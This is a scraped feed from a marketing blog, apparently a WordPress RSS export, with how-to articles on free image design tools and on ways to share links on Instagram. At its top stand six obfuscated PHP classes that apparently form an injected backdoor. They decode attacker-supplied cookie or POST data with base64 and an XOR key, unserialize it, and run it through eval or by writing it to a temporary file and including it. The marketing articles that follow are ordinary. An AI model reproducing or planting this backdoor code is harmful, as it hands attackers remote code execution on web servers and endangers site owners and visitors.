Web Design & Development – CODE Marketing: Blog

$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> Web Design & Development – CODE Marketing: Blog https://blog.codemarketing.com Thu, 19 Dec 2019 13:25:08 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.20 How to Easily Design Social Media Images https://blog.codemarketing.com/how-to-easily-design-social-media-images/ Thu, 19 Sep 2019 12:00:42 +0000 http://blog.codemarketing.com/?p=1357 Do you create your own social media images? Looking for easy-to-use graphics tools to design professional-looking visuals? In this article, you’ll discover four free tools to create images for your marketing. 1: Preview Text Styles With One Touch via Adobe Spark Adobe Spark is part of Adobe’s suite of creative products, bringing social media image and …

The post How to Easily Design Social Media Images appeared first on CODE Marketing: Blog.

]]> Do you create your own social media images? Looking for easy-to-use graphics tools to design professional-looking visuals?

In this article, you’ll discover four free tools to create images for your marketing.

1: Preview Text Styles With One Touch via Adobe Spark

Adobe Spark is part of Adobe’s suite of creative products, bringing social media image and video creation to the web. It’s one of the easiest online image editors to use and offers many design templates to choose from.

Here’s how to use Adobe Spark to make social media images for any of your social media accounts:

First, navigate to the Adobe Spark website and sign in with your Adobe ID. A Creative Cloud license isn’t required to use Spark, but you do get some extra features if you have a subscription. Namely, you can remove the Adobe Spark watermark with a paid Adobe Spark plan or Creative Cloud subscription, both starting at $9.99 a month.

Once you’re logged in, you’ll see a variety of templates to choose from. All of the popular social templates are displayed on the home screen, or you can use the search bar to find even more types of templates. Once you find one you want to use, select it.

Adobe Spark offers a variety of templates to customize for your social media images.

After you make your selection, the Adobe Spark editor opens with your chosen template. Most templates have pre-made images and text boxes. You can resize the design elements and drag them around the canvas to reposition them.

You’ll see four tabs on the right of the screen:

The Design tab lets you pick a different pre-made theme for your template.
Click the Colors tab to select a different colour scheme.
Open the Layout tab to choose a different image layout.
Click the Resize tab to resize your image.

The Adobe Spark editor opens with your chosen template.

To edit the text in the template, double-click the text box and start typing. You can change fonts and other text options on the Type tab.

To change colours, click the Color tab and select one of the pre-made colour templates. Note that this will also change the colour of the shape connected to your text.

Speaking of shapes, you’ve probably noticed that your text is connected to a box, circle, or another shape. This is located behind the text, pulling the image together and frankly, making it look pretty cool. Click the Shape tab on the right side of the screen and select whichever shape you’d like to use with your text. It will be automatically applied to your image.

Click the Shape tab in Adobe Spark and select whichever shape you'd like to use with your text.

Alternatively, you can use Spark’s built-in suggestion tool to change your font and shape. Click the Style tab on the right side of the screen and drag the green circle in the wheel to cycle through different text styles.

Use Adobe Spark's built-in suggestion tool to change your font and shape.

Changing the template’s background is easy too; just double-click on it. Then you’ll be prompted to upload a new image and apply an Instagram-style filter to the background. Note that this will replace the current background.

When your masterpiece is ready to share, click the Share button at the top of the screen. From here, you can share to Twitter or Facebook, or via email. To download the image, just click the Download button to the right.

#2: Design Basic Social Media Images Quickly With Pablo

Pablo by Buffer is a no-frills online image editor that lets you make basic social media images in seconds. So while it doesn’t have some of the features of other image editors on this list, it works in a pinch. This tool is free to use without registration, making it perfect for when you or your team needs to create a quick image.

All of Pablo’s editing options are available on the app’s homepage. There are no menus or other hoops to jump through; just navigate to the site and start editing. Here’s how to use Pablo to make basic social media images:

First, look at the upper-right corner of the screen and choose which social network you’re designing this image for. Currently, Pablo has presets for Pinterest, Instagram, Facebook, and Twitter, which will ensure your image is sized correctly.

Next, scroll through the list of images on the left to find one you’d like to edit. You can search through Pablo’s huge library of royalty-free images, or click the Upload Image button at the bottom of the screen to upload a custom image.

Search through Pablo's library of royalty-free images, or click the Upload Image button

You can add filters to your images, too. In the Filters box on the right side of the screen, select the filter you want to use. There are quite a few to choose from, and all have a look similar to Instagram’s filters.

Select the filter you want to apply to your image in Pablo.

After you select an image, it appears in the center of the screen with a pre-made text box. Double-click on the text box to edit the text inside it. Additionally, you can drag the text box on the screen to reposition it. Add more text elements using the options in the Text box on the right side of the screen.

Double-click on the text box in your Pablo design to edit the text inside it.

Finally, click the Logo box in the bottom-right corner of the screen to upload your company’s logo. You can drag your logo around the screen to reposition it. This makes it easy to brand your social media images using your brand’s logo.

Once your image is ready to share, click the Share & Download button in the bottom-right corner of the screen. From here, you can share your masterpiece to Twitter, Facebook, Instagram, or Pinterest. Alternatively, you can download the image to your computer.

#3: Design Automatically Resizable Social Media Images With Snappa

Snappa is a user-friendly online image maker that has templates for every social media network. In addition to social post templates, it offers banner, story, and infographic templates. This makes Snappa your one-stop shop for creating all sorts of social media content.

In this example, you’ll use Snappa to create an Instagram story image from a template, but the process is the same for the other social media image sizes.

To start, create a free account or log in. Snappa also offers a Pro account ($15/month, billed monthly) that includes unlimited downloads and custom fonts, but the free account is a good place to start.

After you log in, you see a list of preset sizes for social media posts, blogging and infographics, social media ads, and other options. Select Instagram Story for this example.

Next, you see a list of pre-made Story templates you can customize for your design. Click on the template you want to use. Alternatively, click the + button to create a story from scratch.

Click on the Snappa template you want to use.

After you make your selection, the template opens in the Snappa editor. Snappa has a ton of advanced editing features, similar to some of the features you’d find in Photoshop or another advanced image editing suite.

Now customize the template to your liking. Double-click on any text elements to add or change text. Use the text options on the left-hand side of the screen to change the font size, color, or type.

Double-click on any text elements in your Snappa design to add or change text.

You can add images, shapes, and other design elements to your social media images. In the upper-left corner of the screen, click the Graphics tab to see a list of vectors and custom images to choose from or to upload your own image.

Click the Graphics tab in Snappa to see a list of vectors and custom images to choose from or to upload your own image.

Similarly, click the Shapes tab to see a library of shapes you can add to your design. Click to select a design element and add it to the canvas. Drag to reposition it on your design.

To resize any design elements, click to select the element and use the knobs that appear on it.

To resize any design elements in Snappa, click to select the element and use the knobs that appear on it.

Note that you can also add background images to your Snappa designs. Click the Background tab to see an array of options. You can search through Snappa’s royalty-free image library or upload your own background by clicking the Uploads button.

To rearrange your background image, click the Reposition Background button at the top of the Background tab. You can then rearrange the background image to your liking.

Search through Snappa's royalty-free image library or upload your own background by clicking the Uploads button.

You can also apply effects to your background image on the Effects tab. Here, you can add color overlays, darkening, and more.

Once you’ve decked out your image with visual elements and are ready to export it, you have two options: download your design or share it directly to social media. Click the Download button at the upper right-hand corner of the screen and select the format that works best for you.

You can also share directly to social media by clicking the Share button that’s located to the right of the Download button. At this time, you can share directly to Twitter or Facebook from the app.

And that’s it! You’ve created and shared your image to social media in Snappa. It’s as easy as that.

#4: Add Simple Data Visualization Charts to Social Media Images in Canva

Canva is a free online image editor with a huge library of free templates and royalty-free images. The app has built-in templates for all of the major social networks, and you can even post directly to your social media accounts from the app.

Creating an image from one of Canva’s templates is simple. After you log in, click the More button in the upper-right corner of the screen.

After you log in to Canva, click the More button in the upper-right corner of the screen.

Canva’s full list of templates will appear. Look in the Social Media Posts section and select the template that best fits your needs. For this example, select the Instagram Post option to create an image for Instagram.

Look in the Social Media Posts section in Canva and select the template that best fits your needs.

After you select the template, a new document is created.

Click the Layouts tab on the left-hand side of the window and you’ll be presented with a list of post layouts to choose from. All of these layouts are fitted for your post size.

Search through the list and click the layout you want to use; it will be imported to the editor, ready for you to customize.

Click the Layouts tab in Canva to see a list of post layouts to choose from.

Note that not all of the templates are included with the Canva free plan. You can upgrade to Canva Pro for $12.95 per user/month, billed monthly, or stick with the free plan if you’re happy with the limited amount of free templates.

Editing a Canva template is easy. Just double-click on the text boxes to edit the text. You can change the fonts, too. Just click the font pop-up menu at the top of the editor and select a different font. You can also edit the point size, spacing, colour, and more.

Click the font pop-up menu at the top of the Canva editor and select a different font.

If you want to edit the background of your design, click the Background tab on the left-hand side of the window. In the background window, you can choose background textures, colors, and even search through Canva’s library of royalty-free images. Click on the image or texture you want to use, and it will be automatically applied to the image.

Choose background textures, colors, or search through Canva's library of royalty-free images.

Speaking of images, you can add other design elements to your Canva masterpiece. You can use your own images or pick one from Canva’s large selection of royalty-free images.

To do this, click the Elements tab on the left-hand side of the screen. You’ll then be presented with a list of different design elements to choose from, including:

Free Photos: add an image from Canva’s library of free images
Grids: make image grids on your social media post
Frames: add frames to your image
Shapes: drag and drop vector shapes to your image
Lines: add stylized lines to your image
Illustrations: add free vector images to your image
Icons: add free icons to your image
Charts: visualize basic data on your image
I <3 Canva: choose from free Canva images to show your support for Canva

Click the Elements tab in Canva to see a list of different design elements to choose from.

Select the element you want to add, and drag and drop it to the canvas. Once it’s in, you can resize the element by dragging on the sides. You can add as many elements as you’d like, so make something awesome!

Resize a chart in Canva by dragging the sizing handles.

Finally, you can add your own images or vectors to the canvas. Open the Uploads tab and click the green Upload Your Own Images button. Select your file, and then drag and drop it to the canvas. All of the placement and resizing options are the same as above.

Open the On the Uploads tab in Canva, click the green Upload Your Own Images button.

When you’re done creating your image, you can export it. Click the Download button at the top of the screen and select the file type you need. You also have the option to choose a transparent background. Transparent backgrounds work only with PNG images that have no background image set. Click the green Download button when you’re ready.

. Click the Download button at the top of the screen and select the file type you need.

You also can publish your image directly to Facebook or Twitter right from Canva. To do this, click the Share button at the top of the screen and click the Social tab in the pop-up box. From here, you can type your accompanying message and select the social network to share it to(Twitter or Facebook). Click Share Now when you’re ready to share.

And that’s all there is to it. You’ve successfully customized one of Canva’s templates and shared your design to Facebook and Twitter. Sharing to other networks requires you to download the image and post it manually, or use your favourite social media management app.

The post How to Easily Design Social Media Images appeared first on CODE Marketing: Blog.

]]> Ways to Share Links on Instagram https://blog.codemarketing.com/ways-to-share-links-on-instagram/ Mon, 16 Sep 2019 12:00:44 +0000 http://blog.codemarketing.com/?p=1360 Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram? In this article, you’ll find different ways to share links on your Instagram profile and posts. #1: Add a Link to Your Instagram Bio Let’s start with the first and simplest way to place a …

The post Ways to Share Links on Instagram appeared first on CODE Marketing: Blog.

]]> Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram?

In this article, you’ll find different ways to share links on your Instagram profile and posts.

#1: Add a Link to Your Instagram Bio

Let’s start with the first and simplest way to place a link on Instagram. The Instagram bio is the only place where anyone, including private personal accounts, can share a clickable link.

Think of this as your “home” link. While there are other ways to share clickable links (which we’ll discuss in a moment), those routes are targeted for more specific audiences. The link in your bio is there for anyone who happens to visit your profile.

Opinions differ on the best strategy for this link. Some brands link to their mobile website and leave it at that. Others update their bio link regularly, and direct users to the content from their posts.

But there’s a snag with changing the link frequently. How do you manage your old posts? What if someone finds an intriguing post from six months ago, goes to your bio to learn more, and finds a different link?

Instead, I recommend sharing more transient links in your stories. If you want to keep that content available, you can save the stories as permanent highlights with clickable links.

How to add or share a link to Instagram, example 2.

Alternatively, especially if you don’t have access to story links, you can use a link service. In the next section, we’ll look at how to use a single, consistent bio link to share a variety of content through link services.

#2: Use a Link Service to Showoff Multiple Links

When Instagram first became popular with marketers, link services were widely used—then their popularity dipped. Now they’re back with more design capabilities and a smoother user experience.

You can choose from a few different formats. The classic link service looks something like Linktree, where you present followers with a list of clickable buttons. The Workspace For Children uses Linktree to direct users to their latest blog posts, activities, and Amazon shop.

How to add or share a link to Instagram, example 3.

Choose a style and colorway that matches the aesthetic in your Instagram posts and stories. If users click through and find something that looks very different, they’ll lose trust in your brand.

The Good Quote uses a consistent color palette for their Instagram posts and Linktree page.

Alternatively, you can choose a service that looks more like a native Instagram experience. Instead of tapping on text buttons, users are presented with an Insta-style photo grid, as in the example below. When they tap the photo from the post that originally caught their attention, the link service directs them to the relevant page on your website.

How to add or share a link to Instagram, example 5.

Some services, like Later’s Linkin.bio, include video links, photo carousels, and even Shopify integrations.

How to add or share a link to Instagram, example 6.

Just be aware that photo grids like this can be data killers. Check that your chosen link service works on a wide range of mobile devices and that all of the links are functional. In theory, the experience should be seamless.

#3: Share Short Links or Directions to Landing Pages in Your Instagram Post Captions

You can’t include clickable links in the captions of normal Instagram photo posts, but that doesn’t mean that post captions are useless! You can still use them to get users’ attention, share extracts from your content, and extend your reach with carefully selected hashtags.

If you want to make the most of your post captions for links on Instagram, I recommend these two strategies.

Share a Short Link

Use a link-shortening service like Bitly so the link is easy for users to copy or remember—bonus points if you customize the link for your brand and content. This approach requires a bit more effort from your followers, so save it for your top content or links where you only want to convert a small, targeted group of people.

Write Crystal-Clear Directions to Live Links

Whether you’re using a link in your bio or in stories, make it obvious. One tactic we use in posts is to share directions to a live link and include a shortened link that people can copy if they choose. In the post below, we directed users to check out our story. Alternatively, they could copy the short link in the post caption to their browser.

How to add or share a link to Instagram, example 7.

#4: Add Swipe-Up Links to Your Instagram Stories

Some brands can include live links in their Instagram stories. Because stories are so ephemeral, they’re a great way to share links to new or time-sensitive content. Think flash sales, limited-time promotions and giveaways, seasonal events, or weekly Q&A sessions with your followers.

Alternatively, you can save stories with swipe-up links in the highlights section on your profile. These stories will stay pinned between your bio and photo grid. Use highlights as a library for evergreen content: essential FAQs, top-selling products, and past events to show new followers what they’ve missed.

Chocolatier Auro keeps highlights on their profile for news stories, community posts, recipe ideas, promotions, events, store locations, and featured products.

Whether you keep an Instagram story forever or let it fade after 24 hours, remember that each story plays for only 15 seconds. Viewers don’t get much time to react, so make the call to action (CTA) crystal clear. Try these ideas:

Emphasize the See More link with the highlighter and pen tools.
Use stickers and GIFs to point to the link, announce a new post, or encourage users to swipe up.
Take a photo or video of someone from your team pointing to the link. In this story from Bicho Vintage, the brand uses an arrow sticker to highlight a shopping link.

There is a caveat here. Story links are tightly controlled by Instagram. You won’t be able to access this feature unless you have over 10,000 followers (which takes time) or a verified account (which is an arcane and almost random process).

Why does Instagram restrict story links like this? Well, presumably because it wants you to prioritize follower counts. But does that really work for your business goals?

For some brands, especially direct-to-consumer brands, a large number of followers is key to success. But in other cases, you might be better off focusing on sales before followers.

Here’s an example of a young brand, Attollo Lingerie, that uses their Instagram story to promote real-world sales and connections. They don’t have access to swipe-up links… but they don’t need them. Instead, they use shared posts, graphics, and clever screenshots to direct users towards links elsewhere.

How to add or share a link to Instagram, example 11.

This is proof that internal links can be useful, too. Post stories that link back to your own posts, profile, and IGTV. You can also link to relevant posts, stories, and profiles from other people. Remember, if you team up on a promotion with an influencer or another brand, you’ve potentially doubled the number of active links at your disposal.

#5: Create Links in Instagram Shoppable Posts and Stories

Shoppable posts are another example of highly specific links. Each shopping tag links to one product only (and it has to be a physical product, sold in one of a select group of countries). Shopping tags are the most targeted conversion possible.

To use shopping tags, start by creating a product catalog on Facebook. Once you have a full range of products uploaded—with shopping links, images, and descriptions—you can start adding shopping tags to your Instagram posts.

How to add or share a link to Instagram, example 12.

You’ll also see a Shopping tab appear on your profile. The Shopping tab appears next to the standard tabs of your profile grid, individual photos, and tagged photos. Clicking this tab shows off your full product catalog.

Items on the Shopping tab appear in a standard photo grid, but users can tap to shop. They can save items just like they save standard posts, or tap to shop immediately.

Instagram Insights allows you to check the engagement on individual shopping posts or compare shopping posts based on metrics like engagement, impressions, or saves. But Instagram shopping doesn’t add attribution to individual product links. So once again, you may want to experiment with adding UTM tags to the links in your product catalog.

Some brands now have access to in-app shopping, where users can pay for their purchases without ever leaving Instagram. And because the beta version is being rolled out to more brands, it seems like initial tests have been successful.

I’m predicting that Instagram will eventually get rid of shopping tags in favor of in-app check out. Why? Because staying in-app gives them more control over data and a potential cut of the profits. Be prepared for further shifts in how customers interact with your products on Instagram.

#6: Pay to Promote Links in Instagram Posts and Stories

With an Instagram business profile, you can pay to promote posts and stories. Not only does this help you segment your audience, but you can also add clickable links to the captions of promoted posts. That’s right: Instagram lets you share links in post captions as long as you pay for them.

Sustainable toothbrush brand The Bam & Boo uses promoted posts to share links to blog posts and products.

How to add or share a link to Instagram, example 15.

The same rules for any ad apply here, too. Make sure your links are absolutely relevant to the post and story in which they appear, because if people click and then bounce, you’ve wasted your ad spend.

Think about the conversion you’re looking for. Are you promoting a shoppable post, educating users about your brand, or drawing them in with interesting content? Different conversions require different designs. Try to find a balance between attractive post design and a glaringly obvious CTA.

#7: Add Links In Instagram Direct Messages

Instagram DMs are an underused feature by many brands. You should be monitoring your inbox daily for message requests, customer service questions, and stories that mention your brand. Respond, reshare, and build customer relationships.

You can start a conversation by reacting to a user’s story or reaching out to offer help. For instance, we make a point of reaching out to first-time users of our platform.

How to add or share a link to Instagram, example 16.

You can also use direct messaging as a more active tool. Because messages on Instagram are private, they’re a more personal form of communication. If you reach out to followers in their DMs, they’ll appreciate you treating them as individuals.

So what kind of messages can you deliver? Let’s take one example: a message to welcome new followers. Of course, you won’t have time to type out a new message every time someone joins your community, so start by setting up quick replies.

To set up quick replies, go to Settings and then Business. Write a message and choose a keyword so you can find the reply you need quickly.

How to add or share a link to Instagram, example 17.

You can share active links in your quick replies and standard messages. So in addition to sharing specific links in response to customer queries, you can also start an automatic lead-nurturing campaign for every new follower.

Try turning new followers into qualified leads by asking for details in their DMs. Offer an incentive, like an introductory discount, so more people will respond.

How to add or share a link to Instagram, example 18.

#8: Share Links in Your IGTV Descriptions

Instagram—and the Facebook family in general—is still obsessed with video content. So as an incentive, the platform offers more link capabilities on IGTV than for video posts on your feed.

You can include clickable links in the description of each IGTV post. To see the description, users have to tap on the arrow icon next to the post title. Because users have to actively expand the description to see any links, make sure you tell them about the link during your IGTV video.

How to add or share a link to Instagram, example 19.

Unlike story links, IGTV links are available to any account, whether or not they’ve reached 10,000 followers. But you need to think about the trade-offs here.

Will your IGTV links be worth the cost of planning and producing original video content? If IGTV posts will cost more than the revenue you derive from those links, you’re better off using other link strategies.

Bonus: Use Action Buttons on Your Instagram Profile

Not all Instagram business profiles have story links, but they do all have access to profile action buttons. You can create instant buttons on your profile for the following actions (and free up character space in your bio in the process):

Call
Text
Email
Directions
Start Order
Book
Reserve

The Ivy in northwest London uses Reserve, Call, and Email Address buttons to convert restaurant customers.

Instagram also offers integrations for a long list of partners, such as Yelp, GrubHub, or EventBrite. You might not think of these buttons as links, but they are. Each one is just tied to a very specific conversion action.

A specific action means a specific audience. Once again, think about your business goals and how your audience behaves. If you aren’t interested in phone calls from customers, or you don’t think they’ll ever contact you by phone, you can remove that button from your profile. Yes, you want a network of links on Instagram but only links that are actually useful.

Note that these buttons are visible only in the mobile app, not on desktop. But then, no one except social media managers uses Instagram on desktop.

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]]> Image Tools for Marketers on a Budget https://blog.codemarketing.com/image-tools-for-marketers-on-a-budget/ Thu, 12 Sep 2019 12:00:46 +0000 http://blog.codemarketing.com/?p=1364 Do you need to create professional-looking images for your social media marketing? Looking for mobile and desktop tools to help? In this article, you’ll discover three affordable image design tools for marketers. #1: Create the Perfectly Sized Image for Every Social Network Over (available for iOS and Android) is a powerful image tool that lets you create stunning graphics …

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]]> Do you need to create professional-looking images for your social media marketing? Looking for mobile and desktop tools to help?

In this article, you’ll discover three affordable image design tools for marketers.

#1: Create the Perfectly Sized Image for Every Social Network

Over (available for iOS and Android) is a powerful image tool that lets you create stunning graphics in minutes. It’s available in both free and paid versions ($99.99/year for iOS and $39.99/year for Android, both with a 7-day free trial). The features in the free version are more than sufficient for creating attractive social media images.

After you install Over on your mobile device, launch the app and tap the + button to create a new project. If you have the paid version of the app, you can choose one of the featured layouts or design your own background. This walkthrough will focus on options available in the free version of Over.

When your new project opens, select a background for your design. You can choose an image or video from your camera roll or opt for a transparent, white, or black canvas. A transparent background will give you the most versatility.

On the next screen, choose a size for your project. At the bottom of the screen, you’ll see a variety of social media presets—Instagram, Facebook, Twitter, Snapchat, Pinterest, and YouTube—iPhone backgrounds, and more. To set a custom canvas size, tap the image dimensions box at the top of the screen and enter a custom width and height. Tap the checkmark icon to save your changes as you design your image.

To add an image to your design, tap Image at the bottom of the screen. Then select a photo from your camera roll or a royalty-free image from Unsplash or Pixabay. Use the search box to find a stock image that fits your brand.

